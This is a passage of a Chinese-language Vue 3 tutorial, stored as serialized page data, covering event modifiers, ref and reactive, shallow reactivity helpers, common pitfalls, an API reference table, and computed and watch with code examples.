}\"",[59,2907,2908,2912,2915],{},[77,2909,2910],{},[22,2911,1999],{},[77,2913,2914],{},"跳过该元素及其子树的编译",[77,2916,2917],{},"展示模板代码",[59,2919,2920,2924,2927],{},[77,2921,2922],{},[22,2923,886],{},[77,2925,2926],{},"挂载完成前保留该属性",[77,2928,2014],{},[59,2930,2931,2935,2937],{},[77,2932,2933],{},[22,2934,1986],{},[77,2936,1981],{},[77,2938,2939],{},"纯静态块",[59,2941,2942,2946,2949],{},[77,2943,2944],{},[22,2945,2447],{},[77,2947,2948],{},"依赖不变时跳过子树更新",[77,2950,2951],{},[22,2952,2953],{},"v-memo=\"[row.id]\"",[53,2955,2956,2966],{},[56,2957,2958],{},[59,2959,2960,2963],{},[62,2961,2962],{},"事件修饰符",[62,2964,2965],{},"等价于",[72,2967,2968,2979,2991,3001,3014,3024,3040,3063],{},[59,2969,2970,2974],{},[77,2971,2972],{},[22,2973,2622],{},[77,2975,2976],{},[22,2977,2978],{},"event.stopPropagation()",[59,2980,2981,2986],{},[77,2982,2983],{},[22,2984,2985],{},".prevent",[77,2987,2988],{},[22,2989,2990],{},"event.preventDefault()",[59,2992,2993,2998],{},[77,2994,2995],{},[22,2996,2997],{},".capture",[77,2999,3000],{},"用捕获阶段监听",[59,3002,3003,3007],{},[77,3004,3005],{},[22,3006,2734],{},[77,3008,3009,3010,3013],{},"只有 ",[22,3011,3012],{},"event.target"," 是自己时才触发",[59,3015,3016,3021],{},[77,3017,3018],{},[22,3019,3020],{},".once",[77,3022,3023],{},"只触发一次",[59,3025,3026,3031],{},[77,3027,3028],{},[22,3029,3030],{},".passive",[77,3032,3033,3036,3037,3039],{},[22,3034,3035],{},"{ passive: true }","，滚动不阻塞（不能同时 ",[22,3038,2985],{},"）",[59,3041,3042,3060],{},[77,3043,3044,422,3047,422,3050,422,3053,422,3056,3059],{},[22,3045,3046],{},".keyup.enter",[22,3048,3049],{},".esc",[22,3051,3052],{},".tab",[22,3054,3055],{},".space",[22,3057,3058],{},".up"," …",[77,3061,3062],{},"按键名\u002F系统别名",[59,3064,3065,3076],{},[77,3066,3067,422,3070,422,3073],{},[22,3068,3069],{},".left",[22,3071,3072],{},".right",[22,3074,3075],{},".middle",[77,3077,3078],{},"鼠标按键",[35,3080,3082],{"id":3081},"四ref-与-reactive响应式对象的入口","四、ref 与 reactive：响应式对象的入口",[10,3084,3085,3086,3089,3090,3093,3094,3096,3097,3100],{},"响应式的原理值得知道一句：Vue 3 用 ",[22,3087,3088],{},"Proxy"," 代理对象，「读」的时候记录谁在用这个属性，「写」的时候通知这些使用者重新渲染。这条机制决定了两件事——",[17,3091,3092],{},"基本类型没法被代理","（所以要有 ",[22,3095,246],{},"），以及",[17,3098,3099],{},"代理对象一旦被替换或解构，链路就断了","（所以有那一堆坑）。",[119,3102,3104],{"id":3103},"ref一切的入口","ref：一切的入口",[127,3106,3108],{"className":305,"code":3107,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { ref } from 'vue'\nconst count = ref(0)              \u002F\u002F 返回 { value: 0 } 这样的「引用对象」\nconst user = ref({ name: '阿蓝' }) \u002F\u002F 也能装对象\u002F数组\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ count }}\u003C\u002Fp>              \u003C!-- 模板里自动解包，不用写 .value -->\n  \u003Cbutton @click=\"count++\">+1\u003C\u002Fbutton>   \u003C!-- 模板里也能直接用（编译器加了 .value） -->\n\u003C\u002Ftemplate>\n",[22,3109,3110,3120,3130,3150,3173,3181,3185,3193,3210,3232],{"__ignoreMap":132},[136,3111,3112,3114,3116,3118],{"class":138,"line":139},[136,3113,143],{"class":142},[136,3115,181],{"class":146},[136,3117,318],{"class":150},[136,3119,166],{"class":142},[136,3121,3122,3124,3126,3128],{"class":138,"line":169},[136,3123,325],{"class":232},[136,3125,328],{"class":142},[136,3127,331],{"class":232},[136,3129,334],{"class":157},[136,3131,3132,3134,3136,3138,3140,3142,3144,3147],{"class":138,"line":176},[136,3133,339],{"class":232},[136,3135,565],{"class":236},[136,3137,240],{"class":232},[136,3139,346],{"class":150},[136,3141,249],{"class":142},[136,3143,485],{"class":236},[136,3145,3146],{"class":142},")              ",[136,3148,3149],{"class":456},"\u002F\u002F 返回 { value: 0 } 这样的「引用对象」\n",[136,3151,3152,3154,3157,3159,3161,3164,3167,3170],{"class":138,"line":199},[136,3153,339],{"class":232},[136,3155,3156],{"class":236}," user",[136,3158,240],{"class":232},[136,3160,346],{"class":150},[136,3162,3163],{"class":142},"({ name: ",[136,3165,3166],{"class":157},"'阿蓝'",[136,3168,3169],{"class":142}," }) ",[136,3171,3172],{"class":456},"\u002F\u002F 也能装对象\u002F数组\n",[136,3174,3175,3177,3179],{"class":138,"line":208},[136,3176,292],{"class":142},[136,3178,181],{"class":146},[136,3180,166],{"class":142},[136,3182,3183],{"class":138,"line":220},[136,3184,173],{"emptyLinePlaceholder":172},[136,3186,3187,3189,3191],{"class":138,"line":229},[136,3188,143],{"class":142},[136,3190,371],{"class":146},[136,3192,166],{"class":142},[136,3194,3195,3197,3199,3202,3204,3207],{"class":138,"line":258},[136,3196,378],{"class":142},[136,3198,10],{"class":146},[136,3200,3201],{"class":142},">{{ count }}\u003C\u002F",[136,3203,10],{"class":146},[136,3205,3206],{"class":142},">              ",[136,3208,3209],{"class":456},"\u003C!-- 模板里自动解包，不用写 .value -->\n",[136,3211,3212,3214,3216,3218,3220,3222,3225,3227,3229],{"class":138,"line":267},[136,3213,378],{"class":142},[136,3215,2238],{"class":146},[136,3217,2241],{"class":150},[136,3219,154],{"class":142},[136,3221,2246],{"class":157},[136,3223,3224],{"class":142},">+1\u003C\u002F",[136,3226,2238],{"class":146},[136,3228,2400],{"class":142},[136,3230,3231],{"class":456},"\u003C!-- 模板里也能直接用（编译器加了 .value） -->\n",[136,3233,3234,3236,3238],{"class":138,"line":273},[136,3235,292],{"class":142},[136,3237,371],{"class":146},[136,3239,166],{"class":142},[10,3241,3242],{},"规则只有两条，但必须刻进肌肉记忆：",[3244,3245,3246,3265],"ol",{},[1380,3247,3248,822,3257,3260,3261,3264],{},[17,3249,3250,3251,3253,3254,849],{},"在 JS 里读写 ",[22,3252,246],{}," 必须带 ",[22,3255,3256],{},".value",[22,3258,3259],{},"count++"," 不会报错（把一个对象当数字加），而是安静地变成 ",[22,3262,3263],{},"NaN","——示例 04 现场演示了这个瞬间。",[1380,3266,3267,3272,3273,3276],{},[17,3268,3269,3270],{},"在模板里不需要 ",[22,3271,3256],{},"（顶层 ref 自动解包）。例外：ref 藏在普通对象里时不解包，",[22,3274,3275],{},"{{ obj.count.value }}"," 得写全。",[127,3278,3280],{"className":447,"code":3279,"language":449,"meta":132,"style":132},"const state = { count: ref(0) }   \u002F\u002F ✗ 普通对象里的 ref 模板里要写 .value\nconst state = reactive({ count: ref(0) })  \u002F\u002F ✓ reactive 对象内部的 ref 自动解包\n",[22,3281,3282,3305],{"__ignoreMap":132},[136,3283,3284,3286,3289,3291,3293,3295,3297,3299,3302],{"class":138,"line":139},[136,3285,339],{"class":232},[136,3287,3288],{"class":236}," state",[136,3290,240],{"class":232},[136,3292,482],{"class":142},[136,3294,246],{"class":150},[136,3296,249],{"class":142},[136,3298,485],{"class":236},[136,3300,3301],{"class":142},") }   ",[136,3303,3304],{"class":456},"\u002F\u002F ✗ 普通对象里的 ref 模板里要写 .value\n",[136,3306,3307,3309,3311,3313,3316,3319,3321,3323,3325,3328],{"class":138,"line":169},[136,3308,339],{"class":232},[136,3310,3288],{"class":236},[136,3312,240],{"class":232},[136,3314,3315],{"class":150}," reactive",[136,3317,3318],{"class":142},"({ count: ",[136,3320,246],{"class":150},[136,3322,249],{"class":142},[136,3324,485],{"class":236},[136,3326,3327],{"class":142},") })  ",[136,3329,3330],{"class":456},"\u002F\u002F ✓ reactive 对象内部的 ref 自动解包\n",[119,3332,3334],{"id":3333},"reactive对象专用但有三个限制","reactive：对象专用，但有三个限制",[127,3336,3338],{"className":447,"code":3337,"language":449,"meta":132,"style":132},"const form = reactive({ name: '', tags: [], meta: { ver: 1 } })\nform.name = '小青'          \u002F\u002F 不用 .value，直接改\nform.tags.push('新')        \u002F\u002F 数组的 push\u002Fsplice\u002F索引赋值都能被捕获\n",[22,3339,3340,3364,3377],{"__ignoreMap":132},[136,3341,3342,3344,3347,3349,3351,3353,3355,3358,3361],{"class":138,"line":139},[136,3343,339],{"class":232},[136,3345,3346],{"class":236}," form",[136,3348,240],{"class":232},[136,3350,3315],{"class":150},[136,3352,3163],{"class":142},[136,3354,1738],{"class":157},[136,3356,3357],{"class":142},", tags: [], meta: { ver: ",[136,3359,3360],{"class":236},"1",[136,3362,3363],{"class":142}," } })\n",[136,3365,3366,3369,3371,3374],{"class":138,"line":169},[136,3367,3368],{"class":142},"form.name ",[136,3370,154],{"class":232},[136,3372,3373],{"class":157}," '小青'",[136,3375,3376],{"class":456},"          \u002F\u002F 不用 .value，直接改\n",[136,3378,3379,3382,3385,3387,3390,3393],{"class":138,"line":176},[136,3380,3381],{"class":142},"form.tags.",[136,3383,3384],{"class":150},"push",[136,3386,249],{"class":142},[136,3388,3389],{"class":157},"'新'",[136,3391,3392],{"class":142},")        ",[136,3394,3395],{"class":456},"\u002F\u002F 数组的 push\u002Fsplice\u002F索引赋值都能被捕获\n",[10,3397,3398,3401],{},[22,3399,3400],{},"reactive"," 的三条边界，第一条就淘汰掉了大部分「到处 reactive」的写法：",[10,3403,3404,822,3407,3410,3411,3414,3415,3418],{},[17,3405,3406],{},"限制一：解构即失效。",[22,3408,3409],{},"const { name } = form"," 拿到的是普通字符串，之后 ",[22,3412,3413],{},"form.name = 'x'"," 它不会变。补救是 ",[22,3416,3417],{},"toRefs(form)","（解构出来的每个字段仍是 ref）。",[10,3420,3421,822,3424,3427,3428,3431,3432,3434,3435,3437,3438,1543],{},[17,3422,3423],{},"限制二：整体替换会断链。",[22,3425,3426],{},"form = reactive({ ... })"," 把模板绑定的那个代理对象换掉了，界面停在旧值。要清空请写 ",[22,3429,3430],{},"Object.assign(form, newData)","，或者干脆用 ",[22,3433,246],{}," 装整个对象（",[22,3436,246],{}," 允许重新赋值 ",[22,3439,3256],{},[10,3441,3442,822,3445,1442,3448,3451,3452,3454],{},[17,3443,3444],{},"限制三：不能包装基本类型。",[22,3446,3447],{},"reactive(0)",[22,3449,3450],{},"reactive('a')"," 直接报错——这正是 ",[22,3453,246],{}," 存在的理由。",[10,3456,3457,3458,3463,3464,3466,3467,3469,3470,3472],{},"实际项目的选择建议：",[17,3459,3460,3461],{},"默认全用 ",[22,3462,246],{},"，需要一组高度内聚、整体传递的对象数据时再用 ",[22,3465,3400],{},"。理由：",[22,3468,246],{}," 的规则统一（永远 ",[22,3471,3256],{},"），不会出现「解构后悄悄失效」这类难查的 bug，也便于 TS 推断。",[119,3474,3476,3477,1442,3480,1442,3483,1442,3486],{"id":3475},"局部跳过响应式shallowrefshallowreactivemarkrawtoraw","局部跳过响应式：",[22,3478,3479],{},"shallowRef",[22,3481,3482],{},"shallowReactive",[22,3484,3485],{},"markRaw",[22,3487,3488],{},"toRaw",[10,3490,3491],{},"大对象（ECharts 实例、地图数据、上千行的原始列表）全量代理既慢又没必要：",[127,3493,3495],{"className":447,"code":3494,"language":449,"meta":132,"style":132},"const chart = shallowRef(null)       \u002F\u002F 只有 .value 被替换时才触发更新\nchart.value = newChart\ntriggerRef(chart)                     \u002F\u002F 换了内部属性但想强制刷新时手动触发\n\nconst raw = markRaw(hugeConfig)       \u002F\u002F 永久标记为「不代理」，放进 reactive 也不转\nconst plain = toRaw(state)            \u002F\u002F 拿回 reactive 背后的原始对象（做深拷贝\u002F存库时用）\nconst clone = JSON.parse(JSON.stringify(toRaw(state)))  \u002F\u002F 存 sessionStorage 的正路\n",[22,3496,3497,3519,3529,3540,3544,3562,3580],{"__ignoreMap":132},[136,3498,3499,3501,3504,3506,3509,3511,3513,3516],{"class":138,"line":139},[136,3500,339],{"class":232},[136,3502,3503],{"class":236}," chart",[136,3505,240],{"class":232},[136,3507,3508],{"class":150}," shallowRef",[136,3510,249],{"class":142},[136,3512,1731],{"class":236},[136,3514,3515],{"class":142},")       ",[136,3517,3518],{"class":456},"\u002F\u002F 只有 .value 被替换时才触发更新\n",[136,3520,3521,3524,3526],{"class":138,"line":169},[136,3522,3523],{"class":142},"chart.value ",[136,3525,154],{"class":232},[136,3527,3528],{"class":142}," newChart\n",[136,3530,3531,3534,3537],{"class":138,"line":176},[136,3532,3533],{"class":150},"triggerRef",[136,3535,3536],{"class":142},"(chart)                     ",[136,3538,3539],{"class":456},"\u002F\u002F 换了内部属性但想强制刷新时手动触发\n",[136,3541,3542],{"class":138,"line":199},[136,3543,173],{"emptyLinePlaceholder":172},[136,3545,3546,3548,3551,3553,3556,3559],{"class":138,"line":208},[136,3547,339],{"class":232},[136,3549,3550],{"class":236}," raw",[136,3552,240],{"class":232},[136,3554,3555],{"class":150}," markRaw",[136,3557,3558],{"class":142},"(hugeConfig)       ",[136,3560,3561],{"class":456},"\u002F\u002F 永久标记为「不代理」，放进 reactive 也不转\n",[136,3563,3564,3566,3569,3571,3574,3577],{"class":138,"line":220},[136,3565,339],{"class":232},[136,3567,3568],{"class":236}," plain",[136,3570,240],{"class":232},[136,3572,3573],{"class":150}," toRaw",[136,3575,3576],{"class":142},"(state)            ",[136,3578,3579],{"class":456},"\u002F\u002F 拿回 reactive 背后的原始对象（做深拷贝\u002F存库时用）\n",[136,3581,3582,3584,3587,3589,3592,3595,3598,3600,3602,3604,3607,3609,3611,3614],{"class":138,"line":229},[136,3583,339],{"class":232},[136,3585,3586],{"class":236}," clone",[136,3588,240],{"class":232},[136,3590,3591],{"class":236}," JSON",[136,3593,3594],{"class":142},".",[136,3596,3597],{"class":150},"parse",[136,3599,249],{"class":142},[136,3601,1532],{"class":236},[136,3603,3594],{"class":142},[136,3605,3606],{"class":150},"stringify",[136,3608,249],{"class":142},[136,3610,3488],{"class":150},[136,3612,3613],{"class":142},"(state)))  ",[136,3615,3616],{"class":456},"\u002F\u002F 存 sessionStorage 的正路\n",[10,3618,3619,3620,3622,3623,3626,3627,3629],{},"数组列表性能场景还有个专门写法：",[22,3621,3479],{}," + 整体替换新数组（",[22,3624,3625],{},"list.value = newList","），比 ",[22,3628,246],{}," 深代理省一大截开销。",[801,3631],{"height":1654,"src":3632,"title":3633},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F04-ref-reactive.html","示例 04：ref 与 reactive 的使用边界",[10,3635,3636,3637,3639,3640,3642,3643,3646,3647,3649,3650,3652],{},"示例 04 的四块面板分别演示：忘写 ",[22,3638,3256],{}," 的 NaN 现场、",[22,3641,3400],{}," 解构后失效与 ",[22,3644,3645],{},"toRefs"," 修复、",[22,3648,3400],{}," 整体替换后界面不动，以及 ref 装数组时 ",[22,3651,3384],{}," 为什么能更新界面。",[119,3654,816],{"id":3655},"️-本章的坑-3",[10,3657,3658,3664,3665,3668,3669,3672,3673,3675,3676,3678],{},[17,3659,3660,3661,3663],{},"1. 解构 ",[22,3662,3400],{}," 对象就丢响应性","（最常见、最难查）。",[22,3666,3667],{},"const { count } = state"," 之后改 ",[22,3670,3671],{},"state.count","，界面不动也不报错。用 ",[22,3674,3645],{},"，或者从一开始就用 ",[22,3677,246],{}," 存单个值。",[10,3680,3681,822,3687,3690,3691,3694,3695,849],{},[17,3682,2645,3683,3686],{},[22,3684,3685],{},"props"," 的解构同理。",[22,3688,3689],{},"const { title } = defineProps([...])"," 在 3.5 之前是「断掉响应」的写法；现在编译器会给出警告（",[22,3692,3693],{},"Vue 3.5 props 解构是响应式安全的"," 属于新特性，老项目里务必确认版本）。拿不准就老实写 ",[22,3696,3697],{},"props.title",[10,3699,3700,822,3706,3709,3710,3713],{},[17,3701,3702,3703,3705],{},"3. 把 ",[22,3704,3400],{}," 对象直接传给函数后重新赋值，外面看不到。",[22,3707,3708],{},"function reset(s) { s = {} }"," 只是改了局部变量。断链问题在传参、",[22,3711,3712],{},"Object.assign"," 目标搞错时反复出现。",[10,3715,3716,3725],{},[17,3717,1708,3718,3721,3722,3724],{},[22,3719,3720],{},"watch"," 一个 ",[22,3723,3400],{}," 对象默认是深监听。"," 对象一大、嵌套一深，每次改动都全量遍历（第五章给省法）。",[10,3727,3728,822,3738,3741,3742,3744,3745,3748],{},[17,3729,3730,3731,3734,3735,3737],{},"5. 存到 ",[22,3732,3733],{},"sessionStorage"," \u002F 发给后端之前要 ",[22,3736,3488],{}," + 深拷贝。",[22,3739,3740],{},"JSON.stringify(reactive对象)"," 能工作，但里面若混了 ",[22,3743,246],{}," 会多出 ",[22,3746,3747],{},"{\"value\": ...}"," 这种结构，接口对不上。",[10,3750,3751,822,3757,3760,3761,3764,3765,3768,3769,3772,3773,849],{},[17,3752,3753,3754,3756],{},"6. 模板里给 ref 赋的是 ",[22,3755,3256],{}," 的语义，写错类型会静默失败。",[22,3758,3759],{},"list.push(x)"," 对 ",[22,3762,3763],{},"ref([])"," 是错的（",[22,3766,3767],{},"list"," 是引用对象不是数组），要 ",[22,3770,3771],{},"list.value.push(x)","。这类错误 Vue 不报，只在运行时炸出 ",[22,3774,3775],{},"push is not a function",[10,3777,3778,822,3781,3784,3785,3787,3788,3791],{},[17,3779,3780],{},"7. 别在循环里动态创建 ref。",[22,3782,3783],{},"for (const k of keys) refs[k] = ref(0)"," 这种写法本身合法，但随后放进 ",[22,3786,3400],{}," 里再解构就会让你分不清手上拿的是 ref 还是值。列表状态请用一个 ",[22,3789,3790],{},"ref(数组)","，索引即位置（第十一章会讲为什么不能用 index 当 key）。",[119,3793,3795],{"id":3794},"附响应式-api-速查","附：响应式 API 速查",[53,3797,3798,3817],{},[56,3799,3800],{},[59,3801,3802,3805,3808,3811,3814],{},[62,3803,3804],{},"API",[62,3806,3807],{},"用来装",[62,3809,3810],{},"解构安全",[62,3812,3813],{},"整体替换",[62,3815,3816],{},"典型场景",[72,3818,3819,3842,3861,3879,3898,3915,3932,3949,3966,3983],{},[59,3820,3821,3826,3829,3832,3837],{},[77,3822,3823],{},[22,3824,3825],{},"ref(v)",[77,3827,3828],{},"任意值（含基本类型）",[77,3830,3831],{},"—",[77,3833,3834,3835,3039],{},"✓（改 ",[22,3836,3256],{},[77,3838,3839],{},[17,3840,3841],{},"默认选择",[59,3843,3844,3849,3852,3855,3858],{},[77,3845,3846],{},[22,3847,3848],{},"reactive(o)",[77,3850,3851],{},"对象\u002F数组",[77,3853,3854],{},"✗ 解构失效",[77,3856,3857],{},"✗ 断链",[77,3859,3860],{},"一组内聚的表单字段",[59,3862,3863,3868,3871,3873,3876],{},[77,3864,3865],{},[22,3866,3867],{},"shallowRef(v)",[77,3869,3870],{},"大对象\u002F实例",[77,3872,3831],{},[77,3874,3875],{},"✓",[77,3877,3878],{},"ECharts、地图、大列表",[59,3880,3881,3886,3889,3892,3895],{},[77,3882,3883],{},[22,3884,3885],{},"shallowReactive(o)",[77,3887,3888],{},"对象（只代理第一层）",[77,3890,3891],{},"部分",[77,3893,3894],{},"✗",[77,3896,3897],{},"表格行数据",[59,3899,3900,3905,3908,3910,3912],{},[77,3901,3902],{},[22,3903,3904],{},"toRef(o, 'k')",[77,3906,3907],{},"从 reactive 里取一个字段",[77,3909,3875],{},[77,3911,3831],{},[77,3913,3914],{},"props 转发、组合式入参",[59,3916,3917,3922,3925,3927,3929],{},[77,3918,3919],{},[22,3920,3921],{},"toRefs(o)",[77,3923,3924],{},"整个 reactive 展开成 ref 集",[77,3926,3875],{},[77,3928,3831],{},[77,3930,3931],{},"组合式函数返回多个状态",[59,3933,3934,3939,3942,3944,3946],{},[77,3935,3936],{},[22,3937,3938],{},"markRaw(v)",[77,3940,3941],{},"标记永不代理",[77,3943,3831],{},[77,3945,3831],{},[77,3947,3948],{},"第三方实例",[59,3950,3951,3956,3959,3961,3963],{},[77,3952,3953],{},[22,3954,3955],{},"toRaw(v)",[77,3957,3958],{},"取回原始对象",[77,3960,3831],{},[77,3962,3831],{},[77,3964,3965],{},"深拷贝、序列化",[59,3967,3968,3973,3976,3978,3980],{},[77,3969,3970],{},[22,3971,3972],{},"triggerRef(r)",[77,3974,3975],{},"手动触发 shallowRef 更新",[77,3977,3831],{},[77,3979,3831],{},[77,3981,3982],{},"深层修改后强制刷新",[59,3984,3985,3993,3996,3998,4000],{},[77,3986,3987,422,3990],{},[22,3988,3989],{},"unref(v)",[22,3991,3992],{},"isRef(v)",[77,3994,3995],{},"取值 \u002F 判断",[77,3997,3831],{},[77,3999,3831],{},[77,4001,4002],{},"写通用工具函数",[35,4004,4006],{"id":4005},"五computed-与-watch派生值要缓存副作用要侦听","五、computed 与 watch：派生值要缓存，副作用要侦听",[10,4008,4009,4010,4018,4019,4021],{},"一句话选型：",[17,4011,4012,4013,4015,4016,849],{},"「界面要显示的一个值」用 ",[22,4014,428],{},"，「数据变了之后要去干一件事」用 ",[22,4017,3720],{}," 干的事指的是请求、埋点、操作 DOM、写 localStorage——这些不该出现在 ",[22,4020,428],{}," 里。",[119,4023,4025],{"id":4024},"computed会缓存的派生值","computed：会缓存的派生值",[127,4027,4029],{"className":305,"code":4028,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\nconst list = ref([{ name: 'a', price: 10 }, { name: 'b', price: 20 }])\nconst keyword = ref('')\n\nconst total = computed(() => list.value.reduce((s, x) => s + x.price, 0))\nconst filtered = computed(() =>\n  list.value.filter(x => x.name.includes(keyword.value))\n)\n\u003C\u002Fscript>\n",[22,4030,4031,4041,4052,4089,4106,4110,4161,4177,4201,4205],{"__ignoreMap":132},[136,4032,4033,4035,4037,4039],{"class":138,"line":139},[136,4034,143],{"class":142},[136,4036,181],{"class":146},[136,4038,318],{"class":150},[136,4040,166],{"class":142},[136,4042,4043,4045,4048,4050],{"class":138,"line":169},[136,4044,325],{"class":232},[136,4046,4047],{"class":142}," { ref, computed } ",[136,4049,331],{"class":232},[136,4051,334],{"class":157},[136,4053,4054,4056,4059,4061,4063,4066,4069,4072,4075,4078,4081,4083,4086],{"class":138,"line":176},[136,4055,339],{"class":232},[136,4057,4058],{"class":236}," list",[136,4060,240],{"class":232},[136,4062,346],{"class":150},[136,4064,4065],{"class":142},"([{ name: ",[136,4067,4068],{"class":157},"'a'",[136,4070,4071],{"class":142},", price: ",[136,4073,4074],{"class":236},"10",[136,4076,4077],{"class":142}," }, { name: ",[136,4079,4080],{"class":157},"'b'",[136,4082,4071],{"class":142},[136,4084,4085],{"class":236},"20",[136,4087,4088],{"class":142}," }])\n",[136,4090,4091,4093,4096,4098,4100,4102,4104],{"class":138,"line":199},[136,4092,339],{"class":232},[136,4094,4095],{"class":236}," keyword",[136,4097,240],{"class":232},[136,4099,346],{"class":150},[136,4101,249],{"class":142},[136,4103,1738],{"class":157},[136,4105,255],{"class":142},[136,4107,4108],{"class":138,"line":208},[136,4109,173],{"emptyLinePlaceholder":172},[136,4111,4112,4114,4117,4119,4121,4123,4125,4128,4131,4134,4137,4140,4143,4145,4147,4150,4153,4156,4158],{"class":138,"line":220},[136,4113,339],{"class":232},[136,4115,4116],{"class":236}," total",[136,4118,240],{"class":232},[136,4120,587],{"class":150},[136,4122,590],{"class":142},[136,4124,593],{"class":232},[136,4126,4127],{"class":142}," list.value.",[136,4129,4130],{"class":150},"reduce",[136,4132,4133],{"class":142},"((",[136,4135,4136],{"class":703},"s",[136,4138,4139],{"class":142},", ",[136,4141,4142],{"class":703},"x",[136,4144,707],{"class":142},[136,4146,593],{"class":232},[136,4148,4149],{"class":142}," s ",[136,4151,4152],{"class":232},"+",[136,4154,4155],{"class":142}," x.price, ",[136,4157,485],{"class":236},[136,4159,4160],{"class":142},"))\n",[136,4162,4163,4165,4168,4170,4172,4174],{"class":138,"line":229},[136,4164,339],{"class":232},[136,4166,4167],{"class":236}," filtered",[136,4169,240],{"class":232},[136,4171,587],{"class":150},[136,4173,590],{"class":142},[136,4175,4176],{"class":232},"=>\n",[136,4178,4179,4182,4185,4187,4189,4192,4195,4198],{"class":138,"line":258},[136,4180,4181],{"class":142},"  list.value.",[136,4183,4184],{"class":150},"filter",[136,4186,249],{"class":142},[136,4188,4142],{"class":703},[136,4190,4191],{"class":232}," =>",[136,4193,4194],{"class":142}," x.name.",[136,4196,4197],{"class":150},"includes",[136,4199,4200],{"class":142},"(keyword.value))\n",[136,4202,4203],{"class":138,"line":267},[136,4204,255],{"class":142},[136,4206,4207,4209,4211],{"class":138,"line":273},[136,4208,292],{"class":142},[136,4210,181],{"class":146},[136,4212,166],{"class":142},[10,4214,4215,4217,4218,4221,4222,4224],{},[22,4216,428],{}," 与「直接在模板里调方法」的区别是",[17,4219,4220],{},"缓存","：依赖不变时读多少次都返回同一个结果，不会重新执行函数；方法调用则是每次渲染都跑一遍。示例 05 里有个计数器，连点「与计算无关」的按钮你能直观看到：方法版本调用次数一路上涨，",[22,4223,428],{}," 版本纹丝不动。",[10,4226,4227,4228,4230,4231,4233],{},"列表过滤、汇总、格式化这三类需求，几乎都该落在 ",[22,4229,428],{}," 上（而不是 ",[22,4232,3720],{}," 里手动重算一份数据存起来——那会造出「两份数据要对齐」的新问题）。",[119,4235,4237],{"id":4236},"可写-computed","可写 computed",[127,4239,4241],{"className":447,"code":4240,"language":449,"meta":132,"style":132},"const celsius = ref(25)\nconst fahrenheit = computed({\n  get: () => celsius.value * 9 \u002F 5 + 32,\n  set: (v) => { celsius.value = (v - 32) * 5 \u002F 9 }\n})\n",[22,4242,4243,4261,4274,4307,4347],{"__ignoreMap":132},[136,4244,4245,4247,4250,4252,4254,4256,4259],{"class":138,"line":139},[136,4246,339],{"class":232},[136,4248,4249],{"class":236}," celsius",[136,4251,240],{"class":232},[136,4253,346],{"class":150},[136,4255,249],{"class":142},[136,4257,4258],{"class":236},"25",[136,4260,255],{"class":142},[136,4262,4263,4265,4268,4270,4272],{"class":138,"line":169},[136,4264,339],{"class":232},[136,4266,4267],{"class":236}," fahrenheit",[136,4269,240],{"class":232},[136,4271,587],{"class":150},[136,4273,217],{"class":142},[136,4275,4276,4279,4282,4284,4287,4289,4292,4295,4298,4301,4304],{"class":138,"line":176},[136,4277,4278],{"class":150},"  get",[136,4280,4281],{"class":142},": () ",[136,4283,593],{"class":232},[136,4285,4286],{"class":142}," celsius.value ",[136,4288,509],{"class":232},[136,4290,4291],{"class":236}," 9",[136,4293,4294],{"class":232}," \u002F",[136,4296,4297],{"class":236}," 5",[136,4299,4300],{"class":232}," +",[136,4302,4303],{"class":236}," 32",[136,4305,4306],{"class":142},",\n",[136,4308,4309,4312,4314,4317,4319,4321,4324,4326,4329,4332,4334,4336,4338,4340,4342,4344],{"class":138,"line":199},[136,4310,4311],{"class":150},"  set",[136,4313,700],{"class":142},[136,4315,4316],{"class":703},"v",[136,4318,707],{"class":142},[136,4320,593],{"class":232},[136,4322,4323],{"class":142}," { celsius.value ",[136,4325,154],{"class":232},[136,4327,4328],{"class":142}," (v ",[136,4330,4331],{"class":232},"-",[136,4333,4303],{"class":236},[136,4335,707],{"class":142},[136,4337,509],{"class":232},[136,4339,4297],{"class":236},[136,4341,4294],{"class":232},[136,4343,4291],{"class":236},[136,4345,4346],{"class":142}," }\n",[136,4348,4349],{"class":138,"line":208},[136,4350,2502],{"class":142},[10,4352,4353,4354,4356],{},"给 ",[22,4355,2881],{}," 指向一个「看起来是独立字段、其实是别的字段的换算」的场景非常顺手（示例 05 里两个输入框互相同步就是这个写法）。",[119,4358,4360],{"id":4359},"watch知道旧值才能做增量","watch：知道旧值，才能做增量",[127,4362,4364],{"className":447,"code":4363,"language":449,"meta":132,"style":132},"\u002F\u002F ① 监听单个 ref\nwatch(keyword, (newV, oldV) => { log(`关键词 ${oldV} → ${newV}`) })\n\n\u002F\u002F ② 监听 reactive 的某个字段：必须写成 getter\nconst state = reactive({ count: 0 })\nwatch(() => state.count, (v) => { \u002F* ... *\u002F })\n\n\u002F\u002F ③ 监听多个来源\nwatch([a, b], ([av, bv]) => { \u002F* ... *\u002F })\n\n\u002F\u002F ④ 需要「深层」变化时显式开启\nwatch(() => state.list, (v) => { \u002F* ... *\u002F }, { deep: true })\n\n\u002F\u002F ⑤ 立即执行一次（否则第一次不触发）\nwatch(keyword, cb, { immediate: true })\n\n\u002F\u002F ⑥ 拿到 stop 函数手动停止（组件外创建的 watch 一定要停）\nconst stop = watch(source, cb)\n\u002F\u002F ... 不需要时\nstop()\n",[22,4365,4366,4371,4412,4416,4421,4438,4462,4466,4471,4497,4501,4506,4535,4539,4544,4556,4561,4567,4583,4589],{"__ignoreMap":132},[136,4367,4368],{"class":138,"line":139},[136,4369,4370],{"class":456},"\u002F\u002F ① 监听单个 ref\n",[136,4372,4373,4375,4378,4381,4383,4386,4388,4390,4392,4394,4396,4399,4401,4404,4406,4409],{"class":138,"line":169},[136,4374,3720],{"class":150},[136,4376,4377],{"class":142},"(keyword, (",[136,4379,4380],{"class":703},"newV",[136,4382,4139],{"class":142},[136,4384,4385],{"class":703},"oldV",[136,4387,707],{"class":142},[136,4389,593],{"class":232},[136,4391,2523],{"class":142},[136,4393,525],{"class":150},[136,4395,249],{"class":142},[136,4397,4398],{"class":157},"`关键词 ${",[136,4400,4385],{"class":142},[136,4402,4403],{"class":157},"} → ${",[136,4405,4380],{"class":142},[136,4407,4408],{"class":157},"}`",[136,4410,4411],{"class":142},") })\n",[136,4413,4414],{"class":138,"line":176},[136,4415,173],{"emptyLinePlaceholder":172},[136,4417,4418],{"class":138,"line":199},[136,4419,4420],{"class":456},"\u002F\u002F ② 监听 reactive 的某个字段：必须写成 